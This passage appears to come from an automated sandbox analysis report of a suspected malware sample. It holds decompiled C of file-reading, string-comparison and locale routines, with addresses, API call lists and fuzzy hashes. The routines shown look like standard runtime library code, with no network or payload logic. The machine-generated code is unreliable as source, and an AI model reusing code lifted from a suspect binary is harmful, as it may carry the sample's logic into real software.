				unsigned int _t158;
				intOrPtr _t162;
				void* _t163;
				signed int _t164;
				signed int _t167;
				long _t168;
				intOrPtr _t175;
				signed int _t176;
				intOrPtr _t178;
				signed int _t180;
				signed int _t184;
				char _t191;
				char* _t192;
				char _t199;
				char* _t200;
				signed char _t211;
				signed int _t213;
				long _t215;
				signed int _t216;
				char _t218;
				signed char _t222;
				signed int _t223;
				unsigned int _t224;
				intOrPtr _t225;
				unsigned int _t229;
				signed int _t231;
				signed int _t232;
				signed int _t233;
				signed int _t234;
				signed int _t235;
				signed char _t236;
				signed int _t237;
				signed int _t239;
				signed int _t240;
				signed int _t241;
				signed int _t242;
				signed int _t246;
				void* _t248;
				void* _t249;

				_t213 = _a4;
				if(_t213 != 0xfffffffe) {
					__eflags = _t213;
					if(_t213 < 0) {
						L58:
						_t143 = E0044051A();
						 *_t143 =  *_t143 & 0x00000000;
						__eflags =  *_t143;
						 *((intOrPtr*)(E0044052D())) = 9;
						L59:
						_t145 = E0043BC3C();
						goto L60;
					}
					__eflags = _t213 -  *0x472a10; // 0x40
					if(__eflags >= 0) {
						goto L58;
					}
					_v24 = 1;
					_t239 = _t213 >> 6;
					_t235 = (_t213 & 0x0000003f) * 0x30;
					_v20 = _t239;
					_t149 =  *((intOrPtr*)(0x472810 + _t239 * 4));
					_v28 = _t235;
					_t222 =  *((intOrPtr*)(_t235 + _t149 + 0x28));
					_v5 = _t222;
					__eflags = _t222 & 0x00000001;
					if((_t222 & 0x00000001) == 0) {
						goto L58;
					}
					_t223 = _a12;
					__eflags = _t223 - 0x7fffffff;
					if(_t223 <= 0x7fffffff) {
						__eflags = _t223;
						if(_t223 == 0) {
							L57:
							return 0;
						}
						__eflags = _v5 & 0x00000002;
						if((_v5 & 0x00000002) != 0) {
							goto L57;
						}
						__eflags = _a8;
						if(_a8 == 0) {
							goto L6;
						}
						_t153 =  *((intOrPtr*)(_t235 + _t149 + 0x29));
						_v5 = _t153;
						_v32 =  *((intOrPtr*)(_t235 + _t149 + 0x18));
						_t246 = 0;
						_t155 = _t153 - 1;
						__eflags = _t155;
						if(_t155 == 0) {
							_t236 = _v24;
							_t157 =  !_t223;
							__eflags = _t236 & _t157;
							if((_t236 & _t157) != 0) {
								_t158 = 4;
								_t224 = _t223 >> 1;
								_v16 = _t158;
								__eflags = _t224 - _t158;
								if(_t224 >= _t158) {
									_t158 = _t224;
									_v16 = _t224;
								}
								_t246 = E00446087(_t224, _t158);
								E00446652(0);
								E00446652(0);
								_t249 = _t248 + 0xc;
								_v12 = _t246;
								__eflags = _t246;
								if(_t246 != 0) {
									_t162 = E0044C1BC(_t213, 0, 0, _v24);
									_t225 =  *((intOrPtr*)(0x472810 + _t239 * 4));
									_t248 = _t249 + 0x10;
									_t240 = _v28;
									 *((intOrPtr*)(_t240 + _t225 + 0x20)) = _t162;
									_t163 = _t246;
									 *(_t240 + _t225 + 0x24) = _t236;
									_t235 = _t240;
									_t223 = _v16;
									L21:
									_t241 = 0;
									_v40 = _t163;
									_t215 =  *((intOrPtr*)(0x472810 + _v20 * 4));
									_v36 = _t215;
									__eflags =  *(_t235 + _t215 + 0x28) & 0x00000048;
									_t216 = _a4;
									if(( *(_t235 + _t215 + 0x28) & 0x00000048) != 0) {
										_t218 =  *((intOrPtr*)(_t235 + _v36 + 0x2a));
										_v6 = _t218;
										__eflags = _t218 - 0xa;
										_t216 = _a4;
										if(_t218 != 0xa) {
											__eflags = _t223;
											if(_t223 != 0) {
												_t241 = _v24;
												 *_t163 = _v6;
												_t216 = _a4;
												_t232 = _t223 - 1;
												__eflags = _v5;
												_v12 = _t163 + 1;
												_v16 = _t232;
												 *((char*)(_t235 +  *((intOrPtr*)(0x472810 + _v20 * 4)) + 0x2a)) = 0xa;
												if(_v5 != 0) {
													_t191 =  *((intOrPtr*)(_t235 +  *((intOrPtr*)(0x472810 + _v20 * 4)) + 0x2b));
													_v6 = _t191;
													__eflags = _t191 - 0xa;
													if(_t191 != 0xa) {
														__eflags = _t232;
														if(_t232 != 0) {
															_t192 = _v12;
															_t241 = 2;
															 *_t192 = _v6;
															_t216 = _a4;
															_t233 = _t232 - 1;
															_v12 = _t192 + 1;
															_v16 = _t233;
															 *((char*)(_t235 +  *((intOrPtr*)(0x472810 + _v20 * 4)) + 0x2b)) = 0xa;
															__eflags = _v5 - _v24;
															if(_v5 == _v24) {
																_t199 =  *((intOrPtr*)(_t235 +  *((intOrPtr*)(0x472810 + _v20 * 4)) + 0x2c));
																_v6 = _t199;
																__eflags = _t199 - 0xa;
																if(_t199 != 0xa) {
																	__eflags = _t233;
																	if(_t233 != 0) {
																		_t200 = _v12;
																		_t241 = 3;
																		 *_t200 = _v6;
																		_t216 = _a4;
																		_t234 = _t233 - 1;
																		__eflags = _t234;
																		_v12 = _t200 + 1;
																		_v16 = _t234;
																		 *((char*)(_t235 +  *((intOrPtr*)(0x472810 + _v20 * 4)) + 0x2c)) = 0xa;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
									_t164 = E00455446(_t216);
									__eflags = _t164;
									if(_t164 == 0) {
										L41:
										_v24 = 0;
										L42:
										_t167 = ReadFile(_v32, _v12, _v16,  &_v36, 0);
										__eflags = _t167;
										if(_t167 == 0) {
											L53:
											_t168 = GetLastError();
											_t241 = 5;
											__eflags = _t168 - _t241;
											if(_t168 != _t241) {
												__eflags = _t168 - 0x6d;
												if(_t168 != 0x6d) {
													L37:
													E004404F7(_t168);
													goto L38;
												}
												_t242 = 0;
												goto L39;
											}
											 *((intOrPtr*)(E0044052D())) = 9;
											 *(E0044051A()) = _t241;
											goto L38;
										}
										_t229 = _a12;
										__eflags = _v36 - _t229;
										if(_v36 > _t229) {
											goto L53;
										}
										_t242 = _t241 + _v36;
										__eflags = _t242;
										L45:
										_t237 = _v28;
										_t175 =  *((intOrPtr*)(0x472810 + _v20 * 4));
										__eflags =  *(_t237 + _t175 + 0x28) & 0x00000080;
										if(( *(_t237 + _t175 + 0x28) & 0x00000080) != 0) {
											__eflags = _v5 - 2;
											if(_v5 == 2) {
												__eflags = _v24;
												_push(_t242 >> 1);
												_push(_v40);
												_push(_t216);
												if(_v24 == 0) {
													_t176 = E0044C7AC();
												} else {
													_t176 = E0044CABC();
												}
											} else {
												_t230 = _t229 >> 1;
												__eflags = _t229 >> 1;
												_t176 = E0044C96C(_t229 >> 1, _t229 >> 1, _t216, _v12, _t242, _a8, _t230);
											}
											_t242 = _t176;
										}
										goto L39;
									}
									_t231 = _v28;
									_t178 =  *((intOrPtr*)(0x472810 + _v20 * 4));
									__eflags =  *(_t231 + _t178 + 0x28) & 0x00000080;
									if(( *(_t231 + _t178 + 0x28) & 0x00000080) == 0) {
										goto L41;
									}
									_t180 = GetConsoleMode(_v32,  &_v44);
									__eflags = _t180;
									if(_t180 == 0) {
										goto L41;
									}
									__eflags = _v5 - 2;
									if(_v5 != 2) {
										goto L42;
									}
									_t184 = ReadConsoleW(_v32, _v12, _v16 >> 1,  &_v36, 0);
									__eflags = _t184;
									if(_t184 != 0) {
										_t229 = _a12;
										_t242 = _t241 + _v36 * 2;
										goto L45;
									}
									_t168 = GetLastError();
									goto L37;
								} else {
									 *((intOrPtr*)(E0044052D())) = 0xc;
									 *(E0044051A()) = 8;
									L38:
									_t242 = _t241 | 0xffffffff;
									__eflags = _t242;
									L39:
									E00446652(_t246);
									return _t242;
								}
							}
							L15:
							 *(E0044051A()) =  *_t206 & _t246;
							 *((intOrPtr*)(E0044052D())) = 0x16;
							E0043BC3C();
							goto L38;
						}
						__eflags = _t155 != 1;
						if(_t155 != 1) {
							L13:
							_t163 = _a8;
							_v16 = _t223;
							_v12 = _t163;
							goto L21;
						}
						_t211 =  !_t223;
						__eflags = _t211 & 0x00000001;
						if((_t211 & 0x00000001) == 0) {
							goto L15;
						}
						goto L13;
					}
					L6:
					 *(E0044051A()) =  *_t151 & 0x00000000;
					 *((intOrPtr*)(E0044052D())) = 0x16;
					goto L59;
				} else {
					 *(E0044051A()) =  *_t212 & 0x00000000;
					_t145 = E0044052D();
					 *_t145 = 9;
					L60:
					return _t145 | 0xffffffff;
				}
			}



























































                                    0x0044cc59
                                    0x0044cc60
                                    0x0044cc7a
                                    0x0044cc7c
                                    0x0044cfe4
                                    0x0044cfe4
                                    0x0044cfe9
                                    0x0044cfe9
                                    0x0044cff1
                                    0x0044cff7
                                    0x0044cff7
                                    0x00000000
                                    0x0044cff7
                                    0x0044cc82
                                    0x0044cc88
                                    0x00000000
                                    0x00000000
                                    0x0044cc90
                                    0x0044cc9c
                                    0x0044cc9f
                                    0x0044cca2
                                    0x0044cca5
                                    0x0044ccac
                                    0x0044ccaf
                                    0x0044ccb3
                                    0x0044ccb6
                                    0x0044ccb9
                                    0x00000000
                                    0x00000000
                                    0x0044ccbf
                                    0x0044ccc2
                                    0x0044ccc8
                                    0x0044cce2
                                    0x0044cce4
                                    0x0044cfe0
                                    0x00000000
                                    0x0044cfe0
                                    0x0044ccea
                                    0x0044ccee
                                    0x00000000
                                    0x00000000
                                    0x0044ccf4
                                    0x0044ccf8
                                    0x00000000
                                    0x00000000
                                    0x0044ccff
                                    0x0044cd03
                                    0x0044cd06
                                    0x0044cd09
                                    0x0044cd0e
                                    0x0044cd0e
                                    0x0044cd11
                                    0x0044cd2e
                                    0x0044cd33
                                    0x0044cd35
                                    0x0044cd37
                                    0x0044cd57
                                    0x0044cd58
                                    0x0044cd5a
                                    0x0044cd5d
                                    0x0044cd5f
                                    0x0044cd61
                                    0x0044cd63
                                    0x0044cd63
                                    0x0044cd6e
                                    0x0044cd70
                                    0x0044cd77
                                    0x0044cd7c
                                    0x0044cd7f
                                    0x0044cd82
                                    0x0044cd84
                                    0x0044cda9
                                    0x0044cdae
                                    0x0044cdb5
                                    0x0044cdb8
                                    0x0044cdbb
                                    0x0044cdbf
                                    0x0044cdc1
                                    0x0044cdc5
                                    0x0044cdc7
                                    0x0044cdca
                                    0x0044cdcd
                                    0x0044cdcf
                                    0x0044cdd2
                                    0x0044cdd9
                                    0x0044cddc
                                    0x0044cde1
                                    0x0044cde4
                                    0x0044cded
                                    0x0044cdf1
                                    0x0044cdf4
                                    0x0044cdf7
                                    0x0044cdfa
                                    0x0044ce00
                                    0x0044ce02
                                    0x0044ce0b
                                    0x0044ce0e
                                    0x0044ce11
                                    0x0044ce14
                                    0x0044ce15
                                    0x0044ce19
                                    0x0044ce1f
                                    0x0044ce29
                                    0x0044ce2e
                                    0x0044ce3e
                                    0x0044ce42
                                    0x0044ce45
                                    0x0044ce47
                                    0x0044ce49
                                    0x0044ce4b
                                    0x0044ce4d
                                    0x0044ce55
                                    0x0044ce56
                                    0x0044ce59
                                    0x0044ce5c
                                    0x0044ce5d
                                    0x0044ce63
                                    0x0044ce6d
                                    0x0044ce75
                                    0x0044ce78
                                    0x0044ce84
                                    0x0044ce88
                                    0x0044ce8b
                                    0x0044ce8d
                                    0x0044ce8f
                                    0x0044ce91
                                    0x0044ce93
                                    0x0044ce9b
                                    0x0044ce9c
                                    0x0044ce9f
                                    0x0044cea2
                                    0x0044cea2
                                    0x0044cea3
                                    0x0044cea9
                                    0x0044ceb3
                                    0x0044ceb3
                                    0x0044ce91
                                    0x0044ce8d
                                    0x0044ce78
                                    0x0044ce4b
                                    0x0044ce47
                                    0x0044ce2e
                                    0x0044ce02
                                    0x0044cdfa
                                    0x0044ceb9
                                    0x0044cebf
                                    0x0044cec1
                                    0x0044cf34
                                    0x0044cf34
                                    0x0044cf38
                                    0x0044cf48
                                    0x0044cf4e
                                    0x0044cf50
                                    0x0044cfac
                                    0x0044cfac
                                    0x0044cfb4
                                    0x0044cfb5
                                    0x0044cfb7
                                    0x0044cfd0
                                    0x0044cfd3
                                    0x0044cf10
                                    0x0044cf11
                                    0x00000000
                                    0x0044cf16
                                    0x0044cfd9
                                    0x00000000
                                    0x0044cfd9
                                    0x0044cfbe
                                    0x0044cfc9
                                    0x00000000
                                    0x0044cfc9
                                    0x0044cf52
                                    0x0044cf55
                                    0x0044cf58
                                    0x00000000
                                    0x00000000
                                    0x0044cf5a
                                    0x0044cf5a
                                    0x0044cf5d
                                    0x0044cf60
                                    0x0044cf63
                                    0x0044cf6a
                                    0x0044cf6f
                                    0x0044cf71
                                    0x0044cf75
                                    0x0044cf90
                                    0x0044cf94
                                    0x0044cf95
                                    0x0044cf98
                                    0x0044cf99
                                    0x0044cfa5
                                    0x0044cf9b
                                    0x0044cf9b
                                    0x0044cf9b
                                    0x0044cf77
                                    0x0044cf77
                                    0x0044cf77
                                    0x0044cf82
                                    0x0044cf87
                                    0x0044cf8a
                                    0x0044cf8a
                                    0x00000000
                                    0x0044cf6f
                                    0x0044cec6
                                    0x0044cec9
                                    0x0044ced0
                                    0x0044ced5
                                    0x00000000
                                    0x00000000
                                    0x0044cede
                                    0x0044cee4
                                    0x0044cee6
                                    0x00000000
                                    0x00000000
                                    0x0044cee8
                                    0x0044ceec
                                    0x00000000
                                    0x00000000
                                    0x0044cf00
                                    0x0044cf06
                                    0x0044cf08
                                    0x0044cf2c
                                    0x0044cf2f
                                    0x00000000
                                    0x0044cf2f
                                    0x0044cf0a
                                    0x00000000
                                    0x0044cd86
                                    0x0044cd8b
                                    0x0044cd96
                                    0x0044cf17
                                    0x0044cf17
                                    0x0044cf17
                                    0x0044cf1a
                                    0x0044cf1b
                                    0x00000000
                                    0x0044cf23
                                    0x0044cd84
                                    0x0044cd39
                                    0x0044cd3e
                                    0x0044cd45
                                    0x0044cd4b
                                    0x00000000
                                    0x0044cd4b
                                    0x0044cd13
                                    0x0044cd16
                                    0x0044cd20
                                    0x0044cd20
                                    0x0044cd23
                                    0x0044cd26
                                    0x00000000
                                    0x0044cd26
                                    0x0044cd1a
                                    0x0044cd1c
                                    0x0044cd1e
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x0044cd1e
                                    0x0044ccca
                                    0x0044cccf
                                    0x0044ccd7
                                    0x00000000
                                    0x0044cc62
                                    0x0044cc67
                                    0x0044cc6a
                                    0x0044cc6f
                                    0x0044cffc
                                    0x00000000
                                    0x0044cffc

                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID:
                                    • String ID:
                                    • API String ID:
                                    • Opcode ID: 282ca1c1753427b6094a6c3e3f63531bf558f33043ba0ce9ddaab5374f53ab1f
                                    • Instruction ID: 6233f4ffb100dc2051e5d31099aea1edc299129c454d969871e395e47d8eec29
                                    • Opcode Fuzzy Hash: 282ca1c1753427b6094a6c3e3f63531bf558f33043ba0ce9ddaab5374f53ab1f
                                    • Instruction Fuzzy Hash: A7C1F570D05249AFEB51DFA8C881BAEBBB1EF09300F18415BE914A7392C73C9D45CB69
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 00453CD4 Relevance: 13.8, APIs: 9, Instructions: 268COMMON
                                    Download Yara Rule
                                    C-Code - Quality: 83%
                                    			E00453CD4(void* __ebx, void* __edi, void* __esi, int _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr* _a16, int _a20, char* _a24, int _a28, int _a32) {
				signed int _v8;
				char _v22;
				struct _cpinfo _v28;
				short* _v32;
				int _v36;
				char* _v40;
				int _v44;
				intOrPtr _v48;
				void* _v60;
				signed int _t63;
				int _t70;
				signed int _t72;
				short* _t73;
				signed int _t77;
				short* _t87;
				void* _t89;
				void* _t92;
				int _t99;
				intOrPtr _t101;
				intOrPtr _t102;
				signed int _t112;
				char* _t114;
				char* _t115;
				void* _t120;
				void* _t121;
				intOrPtr _t122;
				intOrPtr _t123;
				intOrPtr* _t125;
				short* _t126;
				int _t128;
				int _t129;
				short* _t130;
				intOrPtr* _t131;
				signed int _t132;
				short* _t133;

				_t63 =  *0x47100c; // 0xbb2d687
				_v8 = _t63 ^ _t132;
				_t128 = _a20;
				_v44 = _a4;
				_v48 = _a8;
				_t67 = _a24;
				_v40 = _a24;
				_t125 = _a16;
				_v36 = _t125;
				if(_t128 <= 0) {
					if(_t128 >= 0xffffffff) {
						goto L2;
					} else {
						goto L5;
					}
				} else {
					_t128 = E00446636(_t125, _t128);
					_t67 = _v40;
					L2:
					_t99 = _a28;
					if(_t99 <= 0) {
						if(_t99 < 0xffffffff) {
							goto L5;
						} else {
							goto L7;
						}
					} else {
						_t99 = E00446636(_t67, _t99);
						L7:
						_t70 = _a32;
						if(_t70 == 0) {
							_t70 =  *( *_v44 + 8);
							_a32 = _t70;
						}
						if(_t128 == 0 || _t99 == 0) {
							if(_t128 != _t99) {
								if(_t99 <= 1) {
									if(_t128 <= 1) {
										if(GetCPInfo(_t70,  &_v28) == 0) {
											goto L5;
										} else {
											if(_t128 <= 0) {
												if(_t99 <= 0) {
													goto L36;
												} else {
													_t89 = 2;
													if(_v28 >= _t89) {
														_t114 =  &_v22;
														if(_v22 != 0) {
															_t131 = _v40;
															while(1) {
																_t122 =  *((intOrPtr*)(_t114 + 1));
																if(_t122 == 0) {
																	goto L15;
																}
																_t101 =  *_t131;
																if(_t101 <  *_t114 || _t101 > _t122) {
																	_t114 = _t114 + _t89;
																	if( *_t114 != 0) {
																		continue;
																	} else {
																		goto L15;
																	}
																}
																goto L63;
															}
														}
													}
													goto L15;
												}
											} else {
												_t92 = 2;
												if(_v28 >= _t92) {
													_t115 =  &_v22;
													if(_v22 != 0) {
														while(1) {
															_t123 =  *((intOrPtr*)(_t115 + 1));
															if(_t123 == 0) {
																goto L17;
															}
															_t102 =  *_t125;
															if(_t102 <  *_t115 || _t102 > _t123) {
																_t115 = _t115 + _t92;
																if( *_t115 != 0) {
																	continue;
																} else {
																	goto L17;
																}
															}
															goto L63;
														}
													}
												}
												goto L17;
											}
										}
									} else {
										L17:
										_push(3);
										goto L13;
									}
								} else {
									L15:
								}
							} else {
								_push(2);
								L13:
							}
						} else {
							L36:
							_t126 = 0;
							_t72 = MultiByteToWideChar(_a32, 9, _v36, _t128, 0, 0);
							_v44 = _t72;
							if(_t72 == 0) {
								L5:
							} else {
								_t120 = _t72 + _t72;
								asm("sbb eax, eax");
								if((_t120 + 0x00000008 & _t72) == 0) {
									_t73 = 0;
									_v32 = 0;
									goto L45;
								} else {
									asm("sbb eax, eax");
									_t85 = _t72 & _t120 + 0x00000008;
									_t112 = _t120 + 8;
									if((_t72 & _t120 + 0x00000008) > 0x400) {
										asm("sbb eax, eax");
										_t87 = E00446087(_t112, _t85 & _t112);
										_v32 = _t87;
										if(_t87 == 0) {
											goto L61;
										} else {
											 *_t87 = 0xdddd;
											goto L43;
										}
									} else {
										asm("sbb eax, eax");
										E004570E0();
										_t87 = _t133;
										_v32 = _t87;
										if(_t87 == 0) {
											L61:
											_t100 = _v32;
										} else {
											 *_t87 = 0xcccc;
											L43:
											_t73 =  &(_t87[4]);
											_v32 = _t73;
											L45:
											if(_t73 == 0) {
												goto L61;
											} else {
												_t129 = _a32;
												if(MultiByteToWideChar(_t129, 1, _v36, _t128, _t73, _v44) == 0) {
													goto L61;
												} else {
													_t77 = MultiByteToWideChar(_t129, 9, _v40, _t99, _t126, _t126);
													_v36 = _t77;
													if(_t77 == 0) {
														goto L61;
													} else {
														_t121 = _t77 + _t77;
														_t108 = _t121 + 8;
														asm("sbb eax, eax");
														if((_t121 + 0x00000008 & _t77) == 0) {
															_t130 = _t126;
															goto L56;
														} else {
															asm("sbb eax, eax");
															_t81 = _t77 & _t121 + 0x00000008;
															_t108 = _t121 + 8;
															if((_t77 & _t121 + 0x00000008) > 0x400) {
																asm("sbb eax, eax");
																_t130 = E00446087(_t108, _t81 & _t108);
																_pop(_t108);
																if(_t130 == 0) {
																	goto L59;
																} else {
																	 *_t130 = 0xdddd;
																	goto L54;
																}
															} else {
																asm("sbb eax, eax");
																E004570E0();
																_t130 = _t133;
																if(_t130 == 0) {
																	L59:
																	_t100 = _v32;
																} else {
																	 *_t130 = 0xcccc;
																	L54:
																	_t130 =  &(_t130[4]);
																	L56:
																	if(_t130 == 0 || MultiByteToWideChar(_a32, 1, _v40, _t99, _t130, _v36) == 0) {
																		goto L59;
																	} else {
																		_t100 = _v32;
																		_t126 = E004484FF(_t108, _t130, _v48, _a12, _v32, _v44, _t130, _v36, _t126, _t126, _t126);
																	}
																}
															}
														}
														E00435D93(_t130);
													}
												}
											}
										}
									}
								}
								E00435D93(_t100);
							}
						}
					}
				}
				L63:
				return E00434F3B(_v8 ^ _t132);
			}






































                                    0x00453cdc
                                    0x00453ce3
                                    0x00453ceb
                                    0x00453cee
                                    0x00453cf4
                                    0x00453cf7
                                    0x00453cfa
                                    0x00453cfe
                                    0x00453d01
                                    0x00453d06
                                    0x00453d2d
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00453d08
                                    0x00453d10
                                    0x00453d12
                                    0x00453d16
                                    0x00453d16
                                    0x00453d1b
                                    0x00453d39
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00000000
                                    0x00453d1d
                                    0x00453d26
                                    0x00453d3b
                                    0x00453d3b
                                    0x00453d40
                                    0x00453d47
                                    0x00453d4a
                                    0x00453d4a
                                    0x00453d4f
                                    0x00453d5b
                                    0x00453d68
                                    0x00453d75
                                    0x00453d88
                                    0x00000000
                                    0x00453d8a
                                    0x00453d8c
                                    0x00453dbf
                                    0x00000000
                                    0x00453dc1
                                    0x00453dc3
                                    0x00453dc7
                                    0x00453dcd
                                    0x00453dd0
                                    0x00453dd2
                                    0x00453dd5
                                    0x00453dd5
                                    0x00453dda
                                    0x00000000
                                    0x00000000
                                    0x00453ddc
                                    0x00453de0
                                    0x00453dea
                                    0x00453def
                                    0x00000000
                                    0x00453df1
                                    0x00000000
                                    0x00453df1
                                    0x00453def
                                    0x00000000
                                    0x00453de0
                                    0x00453dd5
                                    0x00453dd0
                                    0x00000000
                                    0x00453dc7
                                    0x00453d8e
                                    0x00453d90
                                    0x00453d94
                                    0x00453d9a
                                    0x00453d9d
                                    0x00453d9f
                                    0x00453d9f
                                    0x00453da4
                                    0x00000000
                                    0x00000000
                                    0x00453da6
                                    0x00453daa
                                    0x00453db4
                                    0x00453db9
                                    0x00000000
                                    0x00453dbb
                                    0x00000000
                                    0x00453dbb
                                    0x00453db9
                                    0x00000000
                                    0x00453daa
                                    0x00453d9f
                                    0x00453d9d
                                    0x00000000
                                    0x00453d94
                                    0x00453d8c
                                    0x00453d77
                                    0x00453d77
                                    0x00453d77
                                    0x00000000
                                    0x00453d77
                                    0x00453d6a
                                    0x00453d6a
                                    0x00453d6c
                                    0x00453d5d
                                    0x00453d5d
                                    0x00453d5f
                                    0x00453d5f
                                    0x00453df6
                                    0x00453df6
                                    0x00453df6
                                    0x00453e03
                                    0x00453e09
                                    0x00453e0e
                                    0x00453d2f
                                    0x00453e14
                                    0x00453e14
                                    0x00453e1c
                                    0x00453e20
                                    0x00453e7b
                                    0x00453e7d
                                    0x00000000
                                    0x00453e22
                                    0x00453e27
                                    0x00453e29
                                    0x00453e2b
                                    0x00453e33
                                    0x00453e57
                                    0x00453e5c
                                    0x00453e61
                                    0x00453e67
                                    0x00000000
                                    0x00453e6d
                                    0x00453e6d
                                    0x00000000
                                    0x00453e6d
                                    0x00453e35
                                    0x00453e37
                                    0x00453e3b
                                    0x00453e40
                                    0x00453e42
                                    0x00453e47
                                    0x00453f5c
                                    0x00453f5c
                                    0x00453e4d
                                    0x00453e4d
                                    0x00453e73
                                    0x00453e73
                                    0x00453e76
                                    0x00453e80
                                    0x00453e82
                                    0x00000000
                                    0x00453e88
                                    0x00453e90
                                    0x00453e9e
                                    0x00000000
                                    0x00453ea4
                                    0x00453ead
                                    0x00453eb3
                                    0x00453eb8
                                    0x00000000
                                    0x00453ebe
                                    0x00453ebe
                                    0x00453ec1
                                    0x00453ec6
                                    0x00453eca
                                    0x00453f16
                                    0x00000000
                                    0x00453ecc
                                    0x00453ed1
                                    0x00453ed3
                                    0x00453ed5
                                    0x00453edd
                                    0x00453efa
                                    0x00453f04
                                    0x00453f06
                                    0x00453f09
                                    0x00000000
                                    0x00453f0b
                                    0x00453f0b
                                    0x00000000
                                    0x00453f0b
                                    0x00453edf
                                    0x00453ee1
                                    0x00453ee5
                                    0x00453eea
                                    0x00453eee
                                    0x00453f50
                                    0x00453f50
                                    0x00453ef0
                                    0x00453ef0
                                    0x00453f11
                                    0x00453f11
                                    0x00453f18
                                    0x00453f1a
                                    0x00000000
                                    0x00453f33
                                    0x00453f33
                                    0x00453f4c
                                    0x00453f4c
                                    0x00453f1a
                                    0x00453eee
                                    0x00453edd
                                    0x00453f54
                                    0x00453f59
                                    0x00453eb8
                                    0x00453e9e
                                    0x00453e82
                                    0x00453e47
                                    0x00453e33
                                    0x00453f60
                                    0x00453f66
                                    0x00453e0e
                                    0x00453d4f
                                    0x00453d1b
                                    0x00453f68
                                    0x00453f7b

                                    APIs
                                    • GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,?,00453FAD,00000000,00000000,?,00000001,?,?,?,?,00000001), ref: 00453D80
                                    • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000001,00000000,00000000,?,00453FAD,00000000,00000000,?,00000001,?,?,?,?), ref: 00453E03
                                    • __alloca_probe_16.LIBCMT ref: 00453E3B
                                    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000001,00000000,00453FAD,?,00453FAD,00000000,00000000,?,00000001,?,?,?,?), ref: 00453E96
                                    • __alloca_probe_16.LIBCMT ref: 00453EE5
                                    • MultiByteToWideChar.KERNEL32(00000000,00000009,00000000,00000000,00000000,00000000,?,00453FAD,00000000,00000000,?,00000001,?,?,?,?), ref: 00453EAD
                                      • Part of subcall function 00446087: HeapAlloc.KERNEL32(00000000,004351EF,?,?,00438797,?,?,00000000,?,?,0040DDB0,004351EF,?,?,?,?), ref: 004460B9
                                    • MultiByteToWideChar.KERNEL32(00000000,00000001,00000000,00000000,00000000,00000000,?,00453FAD,00000000,00000000,?,00000001,?,?,?,?), ref: 00453F29
                                    • __freea.LIBCMT ref: 00453F54
                                    • __freea.LIBCMT ref: 00453F60
                                    Memory Dump Source
                                    • Source File: 00000001.00000002.474134003.0000000000400000.00000040.00001000.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                    Joe Sandbox IDA Plugin
                                    • Snapshot File: hcaresult_1_2_400000_SndVol.jbxd
                                    Yara matches
                                    Similarity
                                    • API ID: ByteCharMultiWide$__alloca_probe_16__freea$AllocHeapInfo
                                    • String ID:
                                    • API String ID: 3256262068-0
                                    • Opcode ID: b8676272310d2f434511fe46bc856a16bcf003bfccc82e9bd6d42f4a00686227
                                    • Instruction ID: 168266f07a070d5d0ba5cc0e60ee354036bc558c2b8bde38aec75bc2fb709c8d
                                    • Opcode Fuzzy Hash: b8676272310d2f434511fe46bc856a16bcf003bfccc82e9bd6d42f4a00686227
                                    • Instruction Fuzzy Hash: 7B91D472E002069ADF208E64C841AEFBBB59B09397F14455BEC05E7282D73DDE49C7A8
                                    Uniqueness

                                    Uniqueness Score: -1.00%

                                    Function 004450C9 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 266COMMONLIBRARYCODE
                                    Download Yara Rule
                                    C-Code - Quality: 71%
                                    			E004450C9(void* __ebx, void* __ecx, void* __edx, void* __edi, void* __esi, void* __eflags, intOrPtr _a4, signed int _a8, intOrPtr _a12) {
				signed int _v8;
				short _v270;
				short _v272;
				char _v528;
				char _v700;
				signed int _v704;
				signed int _v708;
				short _v710;
				signed int* _v712;
				signed int _v716;
				signed int _v720;
				signed int _v724;
				signed int* _v728;
				signed int _v732;
				signed int _v736;
				signed int _v740;
				signed int _v744;
				signed int _t149;
				void* _t156;
				signed int _t157;
				signed int _t158;
				intOrPtr _t159;
				signed int _t162;
				signed int _t166;
				signed int _t167;
				intOrPtr _t169;
				signed int _t172;
				signed int _t173;
				signed int _t175;
				signed int _t195;
				signed int _t196;
				signed int _t199;
				signed int _t204;
				signed int _t207;
				intOrPtr* _t213;
				intOrPtr* _t214;
				signed int _t225;
				signed int _t228;
				intOrPtr* _t229;
				signed int _t231;
				signed int* _t235;
				void* _t243;
				signed int _t244;
				intOrPtr _t246;
				signed int _t251;
				signed int _t253;
				signed int _t257;
				signed int* _t258;
				intOrPtr* _t259;
				short _t260;
				signed int _t262;
				signed int _t264;
				void* _t266;
				void* _t268;

				_t262 = _t264;
				_t149 =  *0x47100c; // 0xbb2d687
				_v8 = _t149 ^ _t262;
				_push(__ebx);
				_t207 = _a8;
				_push(__esi);
				_push(__edi);
				_t246 = _a4;
				_v744 = _t207;
				_v728 = E004480E5(_t207, __ecx, __edx) + 0x278;
				_push( &_v708);
				_t156 = E00444813(_t207, __edx, _t246, _a12, _a12,  &_v272, 0x83,  &_v700, 0x55);
				_t266 = _t264 - 0x2e4 + 0x18;
				if(_t156 != 0) {
					_t11 = _t207 + 2; // 0x6
					_t251 = _t11 << 4;
					__eflags = _t251;
					_t157 =  &_v272;
					_v716 = _t251;
					_t213 =  *((intOrPtr*)(_t251 + _t246));
					while(1) {
						_v704 = _v704 & 0x00000000;
						__eflags =  *_t157 -  *_t213;
						_t253 = _v716;
						if( *_t157 !=  *_t213) {
							break;
						}
						__eflags =  *_t157;
						if( *_t157 == 0) {
							L8:
							_t158 = _v704;
						} else {
							_t260 =  *((intOrPtr*)(_t157 + 2));
							__eflags = _t260 -  *((intOrPtr*)(_t213 + 2));
							_v710 = _t260;
							_t253 = _v716;
							if(_t260 !=  *((intOrPtr*)(_t213 + 2))) {
								break;
							} else {
								_t157 = _t157 + 4;
								_t213 = _t213 + 4;
